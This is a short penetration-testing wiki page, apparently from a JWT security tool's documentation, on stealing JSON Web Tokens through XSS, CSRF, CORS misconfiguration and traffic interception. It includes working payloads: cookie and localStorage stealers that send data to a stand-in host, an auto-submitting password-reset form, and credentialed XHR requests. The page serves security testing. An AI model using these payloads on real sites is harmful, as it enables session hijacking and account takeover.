Skip to content

Stealing JWTs

ticarpi edited this page Nov 14, 2019 · 2 revisions

There's no need to hack JWTs if you can steal and replay them!

If you have other vulnerabilities in the application you may be able to steal or hijack the tokens of other users.

XSS

Common cookie-stealer XSS payloads will have access to JWT stored as a cookie: as long as the cookie is not set as HTTPOnly Payloads can be used to steal the contents of LocalStorage or SessionStorage variables. If the JWT is stored in a JavaScript variable that you know the name of you can also steal this.

Examples:
document.location='http://example.com/cookiestealer.php?c='+document.cookie;
new Image().src = 'http://example.com/log.php?localStorage='+JSON.stringify(window['localStorage']);
document.location='http://example.com/?password='+secretPasswordVariable;

CSRF

JWT tokens stored in cookies (whether they are HTTPOnly or not) will be automatically sent by the browser when an authenticated user interacts with the target site. When a victim triggers a CSRF payload the browser will send the associated cookies including the token. The attacker won't be able to see these, but as they are being used to do the attacker's bidding that doesn't really matter.

Example:

<form id="autosubmit" action="http://www.example.com/account/passwordreset" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="victim1" />
<input name="password" type="hidden" value="BadGuyKnowsThis!" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>

CORS Misconfiguration

When a site's CORS policy allows arbitrary origins as well as sending credentials it is possible to craft an attack page containing an XHR request to the webserver, while also capturing the response.

This leads to two possible attack paths:

  1. If the JWT is returned in any HTTP responses from the application, the token can be read by the attacker when the 'trigger' request is sent. A good example of this is a JWT 'refresh token' or queries to an account page or login page.

  2. If the JWT is sent in a cookie then CORS can be used as a type of CSRF to send the token without the attacker needing to see it.

Example - XHR CORS:

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.avictimwebsitewithJWTcookieauth.com/api/refreshtoken");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send();
</script>

Example - XHR CSRF:

<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.avictimwebsitewithJWTcookieauth.com/api/passwordreset");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"newpass":"BadGuyKnowsThis!"}');
</script>

Man-in-the-Middle

JWTs may also be seen in captured HTTP traffic, either in the header/body of unencrypted traffic, in log files of firewalls/gateways/other servers, in referrer links (if exposed as a URL parameter), or a range of other places.